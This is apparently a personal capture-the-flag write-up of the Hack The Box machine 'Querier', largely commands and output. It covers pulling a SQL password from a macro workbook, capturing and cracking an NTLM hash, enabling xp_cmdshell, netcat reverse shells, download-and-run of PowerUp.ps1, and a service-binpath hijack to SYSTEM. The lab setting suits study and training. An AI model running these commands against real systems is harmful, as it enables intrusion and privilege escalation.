---
title: "HTB - Querier"
date: 2024-05-22
draft: false
---

This box was a motherfucker. 

We're given SMB access, an .xlsm file and a sql server. 
```bash
An XLSM file is ==a Microsoft Excel macro-enabled workbook file that uses XML and ZIP to store data in cells organized into rows and column==
```

----
Foothold: 
We get the .xlsm file out of SMB, (and figure out what it actually is.)
Once it's out of smb, we have it locally and can use `binwalk`
```bash
┌──(root㉿kali)-[~/boxes/querier]
└─# binwalk -e report.xlsm --run-as=root
```
In the extracted archives we find some interesting stuff: 
```bash
p�      ������  �����   &��     �����   2@*� ��
�       ����▒�  ���� ����(�- macro to pull data for client volume reports��▒.0n.Conn]�8]�X�x�
 0(<Open 0B@rver=<��SELECT * FROM volume; 0%B.6word> 0!> @�� MsgBox "connection successful" 6�A1�$D%FB@H 6B@Bk��Xo��P����������,Set rs = conn.Execute("SELECT * @@version;")����X�kDriver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6 0(:����▒� further testing required����H������Attribute VB_Name = "ThisWorkbook"
```

hint: pwd is a password, obviously. We use that to login to the sql database. 
```bash
┌──(root㉿kali)-[~/boxes/querier/_report.xlsm-0.extracted/xl]
└─# mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
```

Unfortunately after login the database itself is unhelpful, it's empty and we don't actually have privileges to enable `xp_enable_cmdshell` (shell execution)

```bash
SQL (QUERIER\reporting  guest@tempdb)> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
```

We have to get crafty. Fortunately this is technically 'easy' - we grab NTLM hashes by intercepting with `smbserver.py` of impacket toolkit
RELATED LINK: 
https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478
```bash
┌──(root㉿kali)-[~/boxes/querier]
└─# smbserver.py -smb2support share share/
```

From sql db itself we visit our poisoned SMB server we've opened with smbserver. 
```bash
SQL (QUERIER\reporting  reporting@volume)> exec xp_dirtree '\\10.10.14.4\share\',1,1
```

from smbserver window:
```bash
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:14549e026f27e05292928f0d3167e35c:010100000000000000ec415a03acda01bd8702ab21342a2d000000000100100079004f0050006c00480051006c0079000300100079004f0050006c00480051006c0079000200100067007800700056004d0070006f004b000400100067007800700056004d0070006f004b000700080000ec415a03acda01060004000200000008003000300000000000000000000000003000004be61840d7b12f61c942d425325d6962d104d60fee53d31bdbf5468fd864a2240a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003400000000000000000000000000
```
very cool! it's an ntlm hash. we use rockyou.txt against it with john. 
```bash
┌──(root㉿kali)-[~/boxes/querier]
└─# john --format=netntlmv2 NTLM.txt --wordlist=/usr/share/wordlists/rockyou.txt       
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)  
```
great we have the password for the mssql-svc service account. we can re-login to sql server using these credentials and we have xp_enable_cmdshell access: 

```bash
┌──(root㉿kali)-[~/boxes/querier]
└─# mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[...]
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL (QUERIER\mssql-svc  dbo@master)> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```
we host nc.exe on our kali machine and grab it:
```bash
SQL (QUERIER\mssql-svc  dbo@master)> xp_cmdshell powershell -c Invoke-WebRequest "http://10.10.14.8/nc.exe" -OutFile "C:\Reports\nc.exe"

```
once we have it, listen and intercept a shell: 
```bash
SQL (QUERIER\mssql-svc  dbo@master)> xp_cmdshell C:\Reports\nc.exe 10.10.14.4 4444 -e cmd.exe
```
very cool! now we use host powerup.ps1 and use powerup to enumerate potential privesc paths: 
```bash
C:\Windows\system32>echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.4:80/PowerUp.ps1') | powershell -noprofile -
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.4:80/PowerUp.ps1') | powershell -noprofile -

```

where we see:
```bash
ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services
```

lookin' familiar? idk maybe you've forgotten everything again but we can abuse this 

```bash
C:\Windows\system32>sc qc UsoSvc
sc qc UsoSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: UsoSvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k netsvcs -p


C:\Windows\system32>sc config UsoSvc binpath= "C:\Reports\nc.exe 10.10.14.4 4545 -e cmd.exe" 
sc config UsoSvc binpath= "C:\Reports\nc.exe 10.10.14.4 4545 -e cmd.exe" 
[SC] ChangeServiceConfig SUCCESS


C:\Windows\system32>sc start UsoSvc
sc start UsoSvc
[SC] StartService FAILED 1056:

An instance of the service is already running.


C:\Windows\system32>sc stop UsoSvc
sc stop UsoSvc

SERVICE_NAME: UsoSvc 
        TYPE               : 30  WIN32  
        STATE              : 3  STOP_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x3
        WAIT_HINT          : 0x7530
then sc start again

after second start we gain shell on our other window! 


┌──(root㉿kali)-[/opt/PowerSploit/Privesc]
└─# nc -nvlp 4545                        
listening on [any] 4545 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.125] 49687
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

```
